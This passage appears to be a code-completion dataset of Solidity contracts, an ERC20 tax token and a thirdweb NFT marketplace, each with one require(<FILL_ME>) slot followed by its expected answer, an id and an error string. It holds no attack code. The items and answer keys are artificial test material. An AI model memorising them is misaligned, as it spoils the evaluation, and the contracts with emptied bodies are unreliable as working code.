= 20000000 * 10**_decimals; uint256 public _maxWalletSize = 20000000 * 10**_decimals; uint256 public _taxSwapThreshold= 10000000 * 10**_decimals; uint256 public _maxTaxSwap= 10000000 * 10**_decimals; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { } constructor () { } function name() public pure returns (string memory) { } function symbol() public pure returns (string memory) { } function decimals() public pure returns (uint8) { } function totalSupply() public pure override returns (uint256) { } function balanceOf(address account) public view override returns (uint256) { } function transfer(address recipient, uint256 amount) public override returns (bool) { } function allowance(address owner, address spender) public view override returns (uint256) { } function approve(address spender, uint256 amount) public override returns (bool) { } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { } function _approve(address owner, address spender, uint256 amount) private { } function _transfer(address from, address to, uint256 amount) private { } function min(uint256 a, uint256 b) private pure returns (uint256){ } function isContract(address account) private view returns (bool) { } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { } function removeLimits() external onlyOwner{ } function sendETHToFee(uint256 amount) private { } function manualETH() external { require(<FILL_ME>) uint256 ethBalance = address(this).balance; if (ethBalance > 0) { sendETHToFee(ethBalance); } } function openTrading() external onlyOwner() { } receive() external payable {} }
_msgSender()==_mktWallet
435,917
_msgSender()==_mktWallet
"!OWNER"
// SPDX-License-Identifier: Apache-2.0 pragma solidity ^0.8.11; // ========== External imports ========== import "@openzeppelin/contracts-upgradeable/token/ERC20/IERC20Upgradeable.sol"; import "@openzeppelin/contracts-upgradeable/token/ERC1155/IERC1155Upgradeable.sol"; import "@openzeppelin/contracts-upgradeable/token/ERC721/IERC721Upgradeable.sol"; import "@openzeppelin/contracts-upgradeable/token/ERC1155/IERC1155ReceiverUpgradeable.sol"; import "@openzeppelin/contracts-upgradeable/token/ERC721/IERC721ReceiverUpgradeable.sol"; import "@openzeppelin/contracts-upgradeable/utils/introspection/IERC165Upgradeable.sol"; import "@openzeppelin/contracts-upgradeable/interfaces/IERC2981Upgradeable.sol"; import "@openzeppelin/contracts-upgradeable/access/AccessControlEnumerableUpgradeable.sol"; import "@openzeppelin/contracts-upgradeable/security/ReentrancyGuardUpgradeable.sol"; import "@openzeppelin/contracts-upgradeable/utils/MulticallUpgradeable.sol"; // ========== Internal imports ========== import { IMarketplace } from "../interfaces/marketplace/IMarketplace.sol"; import { ITWFee } from "../interfaces/ITWFee.sol"; import "../openzeppelin-presets/metatx/ERC2771ContextUpgradeable.sol"; import "../lib/CurrencyTransferLib.sol"; import "../lib/FeeType.sol"; contract Marketplace is Initializable, IMarketplace, ReentrancyGuardUpgradeable, ERC2771ContextUpgradeable, MulticallUpgradeable, AccessControlEnumerableUpgradeable, IERC721ReceiverUpgradeable, IERC1155ReceiverUpgradeable { /*/////////////////////////////////////////////////////////////// State variables //////////////////////////////////////////////////////////////*/ bytes32 private constant MODULE_TYPE = bytes32("Marketplace"); uint256 private constant VERSION = 2; /// @dev Only lister role holders can create listings, when listings are restricted by lister address. bytes32 private constant LISTER_ROLE = keccak256("LISTER_ROLE"); /// @dev Only assets from NFT contracts with asset role can be listed, when listings are restricted by asset address. bytes32 private constant ASSET_ROLE = keccak256("ASSET_ROLE"); /// @dev The address of the native token wrapper contract. address private immutable nativeTokenWrapper; /// @dev The thirdweb contract with fee related information. ITWFee public immutable thirdwebFee; /// @dev Total number of listings ever created in the marketplace. uint256 public totalListings; /// @dev Contract level metadata. string public contractURI; /// @dev The address that receives all platform fees from all sales. address private platformFeeRecipient; /// @dev The max bps of the contract. So, 10_000 == 100 % uint64 public constant MAX_BPS = 10_000; /// @dev The % of primary sales collected as platform fees. uint64 private platformFeeBps; /// @dev /** * @dev The amount of time added to an auction's 'endTime', if a bid is made within `timeBuffer` * seconds of the existing `endTime`. Default: 15 minutes. */ uint64 public timeBuffer; /// @dev The minimum % increase required from the previous winning bid. Default: 5%. uint64 public bidBufferBps; /*/////////////////////////////////////////////////////////////// Mappings //////////////////////////////////////////////////////////////*/ /// @dev Mapping from uid of listing => listing info. mapping(uint256 => Listing) public listings; /// @dev Mapping from uid of a direct listing => offeror address => offer made to the direct listing by the respective offeror. mapping(uint256 => mapping(address => Offer)) public offers; /// @dev Mapping from uid of an auction listing => current winning bid in an auction. mapping(uint256 => Offer) public winningBid; /*/////////////////////////////////////////////////////////////// Modifiers //////////////////////////////////////////////////////////////*/ /// @dev Checks whether caller is a listing creator. modifier onlyListingCreator(uint256 _listingId) { require(<FILL_ME>) _; } /// @dev Checks whether a listing exists. modifier onlyExistingListing(uint256 _listingId) { } /*/////////////////////////////////////////////////////////////// Constructor + initializer logic //////////////////////////////////////////////////////////////*/ constructor(address _nativeTokenWrapper, address _thirdwebFee) initializer { } /// @dev Initiliazes the contract, like a constructor. function initialize( address _defaultAdmin, string memory _contractURI, address[] memory _trustedForwarders, address _platformFeeRecipient, uint256 _platformFeeBps ) external initializer { } /*/////////////////////////////////////////////////////////////// Generic contract logic //////////////////////////////////////////////////////////////*/ /// @dev Lets the contract receives native tokens from `nativeTokenWrapper` withdraw. receive() external payable {} /// @dev Returns the type of the contract. function contractType() external pure returns (bytes32) { } /// @dev Returns the version of the contract. function contractVersion() external pure returns (uint8) { } /*/////////////////////////////////////////////////////////////// ERC 165 / 721 / 1155 logic //////////////////////////////////////////////////////////////*/ function onERC1155Received( address, address, uint256, uint256, bytes memory ) public virtual override returns (bytes4) { } function onERC1155BatchReceived( address, address, uint256[] memory, uint256[] memory, bytes memory ) public virtual override returns (bytes4) { } function onERC721Received( address, address, uint256, bytes calldata ) external pure override returns (bytes4) { } function supportsInterface(bytes4 interfaceId) public view virtual override(AccessControlEnumerableUpgradeable, IERC165Upgradeable) returns (bool) { } /*/////////////////////////////////////////////////////////////// Listing (create-update-delete) logic //////////////////////////////////////////////////////////////*/ /// @dev Lets a token owner list tokens for sale: Direct Listing or Auction. function createListing(ListingParameters memory _params) external override { } /// @dev Lets a listing's creator edit the listing's parameters. function updateListing( uint256 _listingId, uint256 _quantityToList, uint256 _reservePricePerToken, uint256 _buyoutPricePerToken, address _currencyToAccept, uint256 _startTime, uint256 _secondsUntilEndTime ) external override onlyListingCreator(_listingId) { } /// @dev Lets a direct listing creator cancel their listing. function cancelDirectListing(uint256 _listingId) external onlyListingCreator(_listingId) { } /*/////////////////////////////////////////////////////////////// Direct lisitngs sales logic //////////////////////////////////////////////////////////////*/ /// @dev Lets an account buy a given quantity of tokens from a listing. function buy( uint256 _listingId, address _buyFor, uint256 _quantityToBuy, address _currency, uint256 _totalPrice ) external payable override nonReentrant onlyExistingListing(_listingId) { } /// @dev Lets a listing's creator accept an offer for their direct listing. function acceptOffer( uint256 _listingId, address _offeror, address _currency, uint256 _pricePerToken ) external override nonReentrant onlyListingCreator(_listingId) onlyExistingListing(_listingId) { } /// @dev Performs a direct listing sale. function executeSale( Listing memory _targetListing, address _payer, address _receiver, address _currency, uint256 _currencyAmountToTransfer, uint256 _listingTokenAmountToTransfer ) internal { } /*/////////////////////////////////////////////////////////////// Offer/bid logic //////////////////////////////////////////////////////////////*/ /// @dev Lets an account (1) make an offer to a direct listing, or (2) make a bid in an auction. function offer( uint256 _listingId, uint256 _quantityWanted, address _currency, uint256 _pricePerToken, uint256 _expirationTimestamp ) external payable override nonReentrant onlyExistingListing(_listingId) { } /// @dev Processes a new offer to a direct listing. function handleOffer(Listing memory _targetListing, Offer memory _newOffer) internal { } /// @dev Processes an incoming bid in an auction. function handleBid(Listing memory _targetListing, Offer memory _incomingBid) internal { } /// @dev Checks whether an incoming bid is the new current highest bid. function isNewWinningBid( uint256 _reserveAmount, uint256 _currentWinningBidAmount, uint256 _incomingBidAmount ) internal view returns (bool isValidNewBid) { } /*/////////////////////////////////////////////////////////////// Auction lisitngs sales logic //////////////////////////////////////////////////////////////*/ /// @dev Lets an account close an auction for either the (1) winning bidder, or (2) auction creator. function closeAuction(uint256 _listingId, address _closeFor) external override nonReentrant onlyExistingListing(_listingId) { } /// @dev Cancels an auction. function _cancelAuction(Listing memory _targetListing) internal { } /// @dev Closes an auction for an auction creator; distributes winning bid amount to auction creator. function _closeAuctionForAuctionCreator(Listing memory _targetListing, Offer memory _winningBid) internal { } /// @dev Closes an auction for the winning bidder; distributes auction items to the winning bidder. function _closeAuctionForBidder(Listing memory _targetListing, Offer memory _winningBid) internal { } /*/////////////////////////////////////////////////////////////// Shared (direct+auction listings) internal functions //////////////////////////////////////////////////////////////*/ /// @dev Transfers tokens listed for sale in a direct or auction listing. function transferListingTokens( address _from, address _to, uint256 _quantity, Listing memory _listing ) internal { } /// @dev Pays out stakeholders in a sale. function payout( address _payer, address _payee, address _currencyToUse, uint256 _totalPayoutAmount, Listing memory _listing ) internal { } /// @dev Validates that `_addrToCheck` owns and has approved markeplace to transfer the appropriate amount of currency function validateERC20BalAndAllowance( address _addrToCheck, address _currency, uint256 _currencyAmountToCheckAgainst ) internal view { } /// @dev Validates that `_tokenOwner` owns and has approved Market to transfer NFTs. function validateOwnershipAndApproval( address _tokenOwner, address _assetContract, uint256 _tokenId, uint256 _quantity, TokenType _tokenType ) internal view { } /// @dev Validates conditions of a direct listing sale. function validateDirectListingSale( Listing memory _listing, address _payer, uint256 _quantityToBuy, address _currency, uint256 settledTotalPrice ) internal { } /*/////////////////////////////////////////////////////////////// Getter functions //////////////////////////////////////////////////////////////*/ /// @dev Enforces quantity == 1 if tokenType is TokenType.ERC721. function getSafeQuantity(TokenType _tokenType, uint256 _quantityToCheck) internal pure returns (uint256 safeQuantity) { } /// @dev Returns the interface supported by a contract. function getTokenType(address _assetContract) internal view returns (TokenType tokenType) { } /// @dev Returns the platform fee recipient and bps. function getPlatformFeeInfo() external view returns (address, uint16) { } /*/////////////////////////////////////////////////////////////// Setter functions //////////////////////////////////////////////////////////////*/ /// @dev Lets a contract admin update platform fee recipient and bps. function setPlatformFeeInfo(address _platformFeeRecipient, uint256 _platformFeeBps) external onlyRole(DEFAULT_ADMIN_ROLE) { } /// @dev Lets a contract admin set auction buffers. function setAuctionBuffers(uint256 _timeBuffer, uint256 _bidBufferBps) external onlyRole(DEFAULT_ADMIN_ROLE) { } /// @dev Lets a contract admin set the URI for the contract-level metadata. function setContractURI(string calldata _uri) external onlyRole(DEFAULT_ADMIN_ROLE) { } /*/////////////////////////////////////////////////////////////// Miscellaneous //////////////////////////////////////////////////////////////*/ function _msgSender() internal view virtual override(ContextUpgradeable, ERC2771ContextUpgradeable) returns (address sender) { } function _msgData() internal view virtual override(ContextUpgradeable, ERC2771ContextUpgradeable) returns (bytes calldata) { } }
listings[_listingId].tokenOwner==_msgSender(),"!OWNER"
435,928
listings[_listingId].tokenOwner==_msgSender()
"DNE"
// SPDX-License-Identifier: Apache-2.0 pragma solidity ^0.8.11; // ========== External imports ========== import "@openzeppelin/contracts-upgradeable/token/ERC20/IERC20Upgradeable.sol"; import "@openzeppelin/contracts-upgradeable/token/ERC1155/IERC1155Upgradeable.sol"; import "@openzeppelin/contracts-upgradeable/token/ERC721/IERC721Upgradeable.sol"; import "@openzeppelin/contracts-upgradeable/token/ERC1155/IERC1155ReceiverUpgradeable.sol"; import "@openzeppelin/contracts-upgradeable/token/ERC721/IERC721ReceiverUpgradeable.sol"; import "@openzeppelin/contracts-upgradeable/utils/introspection/IERC165Upgradeable.sol"; import "@openzeppelin/contracts-upgradeable/interfaces/IERC2981Upgradeable.sol"; import "@openzeppelin/contracts-upgradeable/access/AccessControlEnumerableUpgradeable.sol"; import "@openzeppelin/contracts-upgradeable/security/ReentrancyGuardUpgradeable.sol"; import "@openzeppelin/contracts-upgradeable/utils/MulticallUpgradeable.sol"; // ========== Internal imports ========== import { IMarketplace } from "../interfaces/marketplace/IMarketplace.sol"; import { ITWFee } from "../interfaces/ITWFee.sol"; import "../openzeppelin-presets/metatx/ERC2771ContextUpgradeable.sol"; import "../lib/CurrencyTransferLib.sol"; import "../lib/FeeType.sol"; contract Marketplace is Initializable, IMarketplace, ReentrancyGuardUpgradeable, ERC2771ContextUpgradeable, MulticallUpgradeable, AccessControlEnumerableUpgradeable, IERC721ReceiverUpgradeable, IERC1155ReceiverUpgradeable { /*/////////////////////////////////////////////////////////////// State variables //////////////////////////////////////////////////////////////*/ bytes32 private constant MODULE_TYPE = bytes32("Marketplace"); uint256 private constant VERSION = 2; /// @dev Only lister role holders can create listings, when listings are restricted by lister address. bytes32 private constant LISTER_ROLE = keccak256("LISTER_ROLE"); /// @dev Only assets from NFT contracts with asset role can be listed, when listings are restricted by asset address. bytes32 private constant ASSET_ROLE = keccak256("ASSET_ROLE"); /// @dev The address of the native token wrapper contract. address private immutable nativeTokenWrapper; /// @dev The thirdweb contract with fee related information. ITWFee public immutable thirdwebFee; /// @dev Total number of listings ever created in the marketplace. uint256 public totalListings; /// @dev Contract level metadata. string public contractURI; /// @dev The address that receives all platform fees from all sales. address private platformFeeRecipient; /// @dev The max bps of the contract. So, 10_000 == 100 % uint64 public constant MAX_BPS = 10_000; /// @dev The % of primary sales collected as platform fees. uint64 private platformFeeBps; /// @dev /** * @dev The amount of time added to an auction's 'endTime', if a bid is made within `timeBuffer` * seconds of the existing `endTime`. Default: 15 minutes. */ uint64 public timeBuffer; /// @dev The minimum % increase required from the previous winning bid. Default: 5%. uint64 public bidBufferBps; /*/////////////////////////////////////////////////////////////// Mappings //////////////////////////////////////////////////////////////*/ /// @dev Mapping from uid of listing => listing info. mapping(uint256 => Listing) public listings; /// @dev Mapping from uid of a direct listing => offeror address => offer made to the direct listing by the respective offeror. mapping(uint256 => mapping(address => Offer)) public offers; /// @dev Mapping from uid of an auction listing => current winning bid in an auction. mapping(uint256 => Offer) public winningBid; /*/////////////////////////////////////////////////////////////// Modifiers //////////////////////////////////////////////////////////////*/ /// @dev Checks whether caller is a listing creator. modifier onlyListingCreator(uint256 _listingId) { } /// @dev Checks whether a listing exists. modifier onlyExistingListing(uint256 _listingId) { require(<FILL_ME>) _; } /*/////////////////////////////////////////////////////////////// Constructor + initializer logic //////////////////////////////////////////////////////////////*/ constructor(address _nativeTokenWrapper, address _thirdwebFee) initializer { } /// @dev Initiliazes the contract, like a constructor. function initialize( address _defaultAdmin, string memory _contractURI, address[] memory _trustedForwarders, address _platformFeeRecipient, uint256 _platformFeeBps ) external initializer { } /*/////////////////////////////////////////////////////////////// Generic contract logic //////////////////////////////////////////////////////////////*/ /// @dev Lets the contract receives native tokens from `nativeTokenWrapper` withdraw. receive() external payable {} /// @dev Returns the type of the contract. function contractType() external pure returns (bytes32) { } /// @dev Returns the version of the contract. function contractVersion() external pure returns (uint8) { } /*/////////////////////////////////////////////////////////////// ERC 165 / 721 / 1155 logic //////////////////////////////////////////////////////////////*/ function onERC1155Received( address, address, uint256, uint256, bytes memory ) public virtual override returns (bytes4) { } function onERC1155BatchReceived( address, address, uint256[] memory, uint256[] memory, bytes memory ) public virtual override returns (bytes4) { } function onERC721Received( address, address, uint256, bytes calldata ) external pure override returns (bytes4) { } function supportsInterface(bytes4 interfaceId) public view virtual override(AccessControlEnumerableUpgradeable, IERC165Upgradeable) returns (bool) { } /*/////////////////////////////////////////////////////////////// Listing (create-update-delete) logic //////////////////////////////////////////////////////////////*/ /// @dev Lets a token owner list tokens for sale: Direct Listing or Auction. function createListing(ListingParameters memory _params) external override { } /// @dev Lets a listing's creator edit the listing's parameters. function updateListing( uint256 _listingId, uint256 _quantityToList, uint256 _reservePricePerToken, uint256 _buyoutPricePerToken, address _currencyToAccept, uint256 _startTime, uint256 _secondsUntilEndTime ) external override onlyListingCreator(_listingId) { } /// @dev Lets a direct listing creator cancel their listing. function cancelDirectListing(uint256 _listingId) external onlyListingCreator(_listingId) { } /*/////////////////////////////////////////////////////////////// Direct lisitngs sales logic //////////////////////////////////////////////////////////////*/ /// @dev Lets an account buy a given quantity of tokens from a listing. function buy( uint256 _listingId, address _buyFor, uint256 _quantityToBuy, address _currency, uint256 _totalPrice ) external payable override nonReentrant onlyExistingListing(_listingId) { } /// @dev Lets a listing's creator accept an offer for their direct listing. function acceptOffer( uint256 _listingId, address _offeror, address _currency, uint256 _pricePerToken ) external override nonReentrant onlyListingCreator(_listingId) onlyExistingListing(_listingId) { } /// @dev Performs a direct listing sale. function executeSale( Listing memory _targetListing, address _payer, address _receiver, address _currency, uint256 _currencyAmountToTransfer, uint256 _listingTokenAmountToTransfer ) internal { } /*/////////////////////////////////////////////////////////////// Offer/bid logic //////////////////////////////////////////////////////////////*/ /// @dev Lets an account (1) make an offer to a direct listing, or (2) make a bid in an auction. function offer( uint256 _listingId, uint256 _quantityWanted, address _currency, uint256 _pricePerToken, uint256 _expirationTimestamp ) external payable override nonReentrant onlyExistingListing(_listingId) { } /// @dev Processes a new offer to a direct listing. function handleOffer(Listing memory _targetListing, Offer memory _newOffer) internal { } /// @dev Processes an incoming bid in an auction. function handleBid(Listing memory _targetListing, Offer memory _incomingBid) internal { } /// @dev Checks whether an incoming bid is the new current highest bid. function isNewWinningBid( uint256 _reserveAmount, uint256 _currentWinningBidAmount, uint256 _incomingBidAmount ) internal view returns (bool isValidNewBid) { } /*/////////////////////////////////////////////////////////////// Auction lisitngs sales logic //////////////////////////////////////////////////////////////*/ /// @dev Lets an account close an auction for either the (1) winning bidder, or (2) auction creator. function closeAuction(uint256 _listingId, address _closeFor) external override nonReentrant onlyExistingListing(_listingId) { } /// @dev Cancels an auction. function _cancelAuction(Listing memory _targetListing) internal { } /// @dev Closes an auction for an auction creator; distributes winning bid amount to auction creator. function _closeAuctionForAuctionCreator(Listing memory _targetListing, Offer memory _winningBid) internal { } /// @dev Closes an auction for the winning bidder; distributes auction items to the winning bidder. function _closeAuctionForBidder(Listing memory _targetListing, Offer memory _winningBid) internal { } /*/////////////////////////////////////////////////////////////// Shared (direct+auction listings) internal functions //////////////////////////////////////////////////////////////*/ /// @dev Transfers tokens listed for sale in a direct or auction listing. function transferListingTokens( address _from, address _to, uint256 _quantity, Listing memory _listing ) internal { } /// @dev Pays out stakeholders in a sale. function payout( address _payer, address _payee, address _currencyToUse, uint256 _totalPayoutAmount, Listing memory _listing ) internal { } /// @dev Validates that `_addrToCheck` owns and has approved markeplace to transfer the appropriate amount of currency function validateERC20BalAndAllowance( address _addrToCheck, address _currency, uint256 _currencyAmountToCheckAgainst ) internal view { } /// @dev Validates that `_tokenOwner` owns and has approved Market to transfer NFTs. function validateOwnershipAndApproval( address _tokenOwner, address _assetContract, uint256 _tokenId, uint256 _quantity, TokenType _tokenType ) internal view { } /// @dev Validates conditions of a direct listing sale. function validateDirectListingSale( Listing memory _listing, address _payer, uint256 _quantityToBuy, address _currency, uint256 settledTotalPrice ) internal { } /*/////////////////////////////////////////////////////////////// Getter functions //////////////////////////////////////////////////////////////*/ /// @dev Enforces quantity == 1 if tokenType is TokenType.ERC721. function getSafeQuantity(TokenType _tokenType, uint256 _quantityToCheck) internal pure returns (uint256 safeQuantity) { } /// @dev Returns the interface supported by a contract. function getTokenType(address _assetContract) internal view returns (TokenType tokenType) { } /// @dev Returns the platform fee recipient and bps. function getPlatformFeeInfo() external view returns (address, uint16) { } /*/////////////////////////////////////////////////////////////// Setter functions //////////////////////////////////////////////////////////////*/ /// @dev Lets a contract admin update platform fee recipient and bps. function setPlatformFeeInfo(address _platformFeeRecipient, uint256 _platformFeeBps) external onlyRole(DEFAULT_ADMIN_ROLE) { } /// @dev Lets a contract admin set auction buffers. function setAuctionBuffers(uint256 _timeBuffer, uint256 _bidBufferBps) external onlyRole(DEFAULT_ADMIN_ROLE) { } /// @dev Lets a contract admin set the URI for the contract-level metadata. function setContractURI(string calldata _uri) external onlyRole(DEFAULT_ADMIN_ROLE) { } /*/////////////////////////////////////////////////////////////// Miscellaneous //////////////////////////////////////////////////////////////*/ function _msgSender() internal view virtual override(ContextUpgradeable, ERC2771ContextUpgradeable) returns (address sender) { } function _msgData() internal view virtual override(ContextUpgradeable, ERC2771ContextUpgradeable) returns (bytes calldata) { } }
listings[_listingId].assetContract!=address(0),"DNE"
435,928
listings[_listingId].assetContract!=address(0)
"!LISTER"
// SPDX-License-Identifier: Apache-2.0 pragma solidity ^0.8.11; // ========== External imports ========== import "@openzeppelin/contracts-upgradeable/token/ERC20/IERC20Upgradeable.sol"; import "@openzeppelin/contracts-upgradeable/token/ERC1155/IERC1155Upgradeable.sol"; import "@openzeppelin/contracts-upgradeable/token/ERC721/IERC721Upgradeable.sol"; import "@openzeppelin/contracts-upgradeable/token/ERC1155/IERC1155ReceiverUpgradeable.sol"; import "@openzeppelin/contracts-upgradeable/token/ERC721/IERC721ReceiverUpgradeable.sol"; import "@openzeppelin/contracts-upgradeable/utils/introspection/IERC165Upgradeable.sol"; import "@openzeppelin/contracts-upgradeable/interfaces/IERC2981Upgradeable.sol"; import "@openzeppelin/contracts-upgradeable/access/AccessControlEnumerableUpgradeable.sol"; import "@openzeppelin/contracts-upgradeable/security/ReentrancyGuardUpgradeable.sol"; import "@openzeppelin/contracts-upgradeable/utils/MulticallUpgradeable.sol"; // ========== Internal imports ========== import { IMarketplace } from "../interfaces/marketplace/IMarketplace.sol"; import { ITWFee } from "../interfaces/ITWFee.sol"; import "../openzeppelin-presets/metatx/ERC2771ContextUpgradeable.sol"; import "../lib/CurrencyTransferLib.sol"; import "../lib/FeeType.sol"; contract Marketplace is Initializable, IMarketplace, ReentrancyGuardUpgradeable, ERC2771ContextUpgradeable, MulticallUpgradeable, AccessControlEnumerableUpgradeable, IERC721ReceiverUpgradeable, IERC1155ReceiverUpgradeable { /*/////////////////////////////////////////////////////////////// State variables //////////////////////////////////////////////////////////////*/ bytes32 private constant MODULE_TYPE = bytes32("Marketplace"); uint256 private constant VERSION = 2; /// @dev Only lister role holders can create listings, when listings are restricted by lister address. bytes32 private constant LISTER_ROLE = keccak256("LISTER_ROLE"); /// @dev Only assets from NFT contracts with asset role can be listed, when listings are restricted by asset address. bytes32 private constant ASSET_ROLE = keccak256("ASSET_ROLE"); /// @dev The address of the native token wrapper contract. address private immutable nativeTokenWrapper; /// @dev The thirdweb contract with fee related information. ITWFee public immutable thirdwebFee; /// @dev Total number of listings ever created in the marketplace. uint256 public totalListings; /// @dev Contract level metadata. string public contractURI; /// @dev The address that receives all platform fees from all sales. address private platformFeeRecipient; /// @dev The max bps of the contract. So, 10_000 == 100 % uint64 public constant MAX_BPS = 10_000; /// @dev The % of primary sales collected as platform fees. uint64 private platformFeeBps; /// @dev /** * @dev The amount of time added to an auction's 'endTime', if a bid is made within `timeBuffer` * seconds of the existing `endTime`. Default: 15 minutes. */ uint64 public timeBuffer; /// @dev The minimum % increase required from the previous winning bid. Default: 5%. uint64 public bidBufferBps; /*/////////////////////////////////////////////////////////////// Mappings //////////////////////////////////////////////////////////////*/ /// @dev Mapping from uid of listing => listing info. mapping(uint256 => Listing) public listings; /// @dev Mapping from uid of a direct listing => offeror address => offer made to the direct listing by the respective offeror. mapping(uint256 => mapping(address => Offer)) public offers; /// @dev Mapping from uid of an auction listing => current winning bid in an auction. mapping(uint256 => Offer) public winningBid; /*/////////////////////////////////////////////////////////////// Modifiers //////////////////////////////////////////////////////////////*/ /// @dev Checks whether caller is a listing creator. modifier onlyListingCreator(uint256 _listingId) { } /// @dev Checks whether a listing exists. modifier onlyExistingListing(uint256 _listingId) { } /*/////////////////////////////////////////////////////////////// Constructor + initializer logic //////////////////////////////////////////////////////////////*/ constructor(address _nativeTokenWrapper, address _thirdwebFee) initializer { } /// @dev Initiliazes the contract, like a constructor. function initialize( address _defaultAdmin, string memory _contractURI, address[] memory _trustedForwarders, address _platformFeeRecipient, uint256 _platformFeeBps ) external initializer { } /*/////////////////////////////////////////////////////////////// Generic contract logic //////////////////////////////////////////////////////////////*/ /// @dev Lets the contract receives native tokens from `nativeTokenWrapper` withdraw. receive() external payable {} /// @dev Returns the type of the contract. function contractType() external pure returns (bytes32) { } /// @dev Returns the version of the contract. function contractVersion() external pure returns (uint8) { } /*/////////////////////////////////////////////////////////////// ERC 165 / 721 / 1155 logic //////////////////////////////////////////////////////////////*/ function onERC1155Received( address, address, uint256, uint256, bytes memory ) public virtual override returns (bytes4) { } function onERC1155BatchReceived( address, address, uint256[] memory, uint256[] memory, bytes memory ) public virtual override returns (bytes4) { } function onERC721Received( address, address, uint256, bytes calldata ) external pure override returns (bytes4) { } function supportsInterface(bytes4 interfaceId) public view virtual override(AccessControlEnumerableUpgradeable, IERC165Upgradeable) returns (bool) { } /*/////////////////////////////////////////////////////////////// Listing (create-update-delete) logic //////////////////////////////////////////////////////////////*/ /// @dev Lets a token owner list tokens for sale: Direct Listing or Auction. function createListing(ListingParameters memory _params) external override { // Get values to populate `Listing`. uint256 listingId = totalListings; totalListings += 1; address tokenOwner = _msgSender(); TokenType tokenTypeOfListing = getTokenType(_params.assetContract); uint256 tokenAmountToList = getSafeQuantity(tokenTypeOfListing, _params.quantityToList); require(tokenAmountToList > 0, "QUANTITY"); require(<FILL_ME>) require(hasRole(ASSET_ROLE, address(0)) || hasRole(ASSET_ROLE, _params.assetContract), "!ASSET"); uint256 startTime = _params.startTime; if (startTime < block.timestamp) { // do not allow listing to start in the past (1 hour buffer) require(block.timestamp - startTime < 1 hours, "ST"); startTime = block.timestamp; } validateOwnershipAndApproval( tokenOwner, _params.assetContract, _params.tokenId, tokenAmountToList, tokenTypeOfListing ); Listing memory newListing = Listing({ listingId: listingId, tokenOwner: tokenOwner, assetContract: _params.assetContract, tokenId: _params.tokenId, startTime: startTime, endTime: startTime + _params.secondsUntilEndTime, quantity: tokenAmountToList, currency: _params.currencyToAccept, reservePricePerToken: _params.reservePricePerToken, buyoutPricePerToken: _params.buyoutPricePerToken, tokenType: tokenTypeOfListing, listingType: _params.listingType }); listings[listingId] = newListing; // Tokens listed for sale in an auction are escrowed in Marketplace. if (newListing.listingType == ListingType.Auction) { require(newListing.buyoutPricePerToken >= newListing.reservePricePerToken, "RESERVE"); transferListingTokens(tokenOwner, address(this), tokenAmountToList, newListing); } emit ListingAdded(listingId, _params.assetContract, tokenOwner, newListing); } /// @dev Lets a listing's creator edit the listing's parameters. function updateListing( uint256 _listingId, uint256 _quantityToList, uint256 _reservePricePerToken, uint256 _buyoutPricePerToken, address _currencyToAccept, uint256 _startTime, uint256 _secondsUntilEndTime ) external override onlyListingCreator(_listingId) { } /// @dev Lets a direct listing creator cancel their listing. function cancelDirectListing(uint256 _listingId) external onlyListingCreator(_listingId) { } /*/////////////////////////////////////////////////////////////// Direct lisitngs sales logic //////////////////////////////////////////////////////////////*/ /// @dev Lets an account buy a given quantity of tokens from a listing. function buy( uint256 _listingId, address _buyFor, uint256 _quantityToBuy, address _currency, uint256 _totalPrice ) external payable override nonReentrant onlyExistingListing(_listingId) { } /// @dev Lets a listing's creator accept an offer for their direct listing. function acceptOffer( uint256 _listingId, address _offeror, address _currency, uint256 _pricePerToken ) external override nonReentrant onlyListingCreator(_listingId) onlyExistingListing(_listingId) { } /// @dev Performs a direct listing sale. function executeSale( Listing memory _targetListing, address _payer, address _receiver, address _currency, uint256 _currencyAmountToTransfer, uint256 _listingTokenAmountToTransfer ) internal { } /*/////////////////////////////////////////////////////////////// Offer/bid logic //////////////////////////////////////////////////////////////*/ /// @dev Lets an account (1) make an offer to a direct listing, or (2) make a bid in an auction. function offer( uint256 _listingId, uint256 _quantityWanted, address _currency, uint256 _pricePerToken, uint256 _expirationTimestamp ) external payable override nonReentrant onlyExistingListing(_listingId) { } /// @dev Processes a new offer to a direct listing. function handleOffer(Listing memory _targetListing, Offer memory _newOffer) internal { } /// @dev Processes an incoming bid in an auction. function handleBid(Listing memory _targetListing, Offer memory _incomingBid) internal { } /// @dev Checks whether an incoming bid is the new current highest bid. function isNewWinningBid( uint256 _reserveAmount, uint256 _currentWinningBidAmount, uint256 _incomingBidAmount ) internal view returns (bool isValidNewBid) { } /*/////////////////////////////////////////////////////////////// Auction lisitngs sales logic //////////////////////////////////////////////////////////////*/ /// @dev Lets an account close an auction for either the (1) winning bidder, or (2) auction creator. function closeAuction(uint256 _listingId, address _closeFor) external override nonReentrant onlyExistingListing(_listingId) { } /// @dev Cancels an auction. function _cancelAuction(Listing memory _targetListing) internal { } /// @dev Closes an auction for an auction creator; distributes winning bid amount to auction creator. function _closeAuctionForAuctionCreator(Listing memory _targetListing, Offer memory _winningBid) internal { } /// @dev Closes an auction for the winning bidder; distributes auction items to the winning bidder. function _closeAuctionForBidder(Listing memory _targetListing, Offer memory _winningBid) internal { } /*/////////////////////////////////////////////////////////////// Shared (direct+auction listings) internal functions //////////////////////////////////////////////////////////////*/ /// @dev Transfers tokens listed for sale in a direct or auction listing. function transferListingTokens( address _from, address _to, uint256 _quantity, Listing memory _listing ) internal { } /// @dev Pays out stakeholders in a sale. function payout( address _payer, address _payee, address _currencyToUse, uint256 _totalPayoutAmount, Listing memory _listing ) internal { } /// @dev Validates that `_addrToCheck` owns and has approved markeplace to transfer the appropriate amount of currency function validateERC20BalAndAllowance( address _addrToCheck, address _currency, uint256 _currencyAmountToCheckAgainst ) internal view { } /// @dev Validates that `_tokenOwner` owns and has approved Market to transfer NFTs. function validateOwnershipAndApproval( address _tokenOwner, address _assetContract, uint256 _tokenId, uint256 _quantity, TokenType _tokenType ) internal view { } /// @dev Validates conditions of a direct listing sale. function validateDirectListingSale( Listing memory _listing, address _payer, uint256 _quantityToBuy, address _currency, uint256 settledTotalPrice ) internal { } /*/////////////////////////////////////////////////////////////// Getter functions //////////////////////////////////////////////////////////////*/ /// @dev Enforces quantity == 1 if tokenType is TokenType.ERC721. function getSafeQuantity(TokenType _tokenType, uint256 _quantityToCheck) internal pure returns (uint256 safeQuantity) { } /// @dev Returns the interface supported by a contract. function getTokenType(address _assetContract) 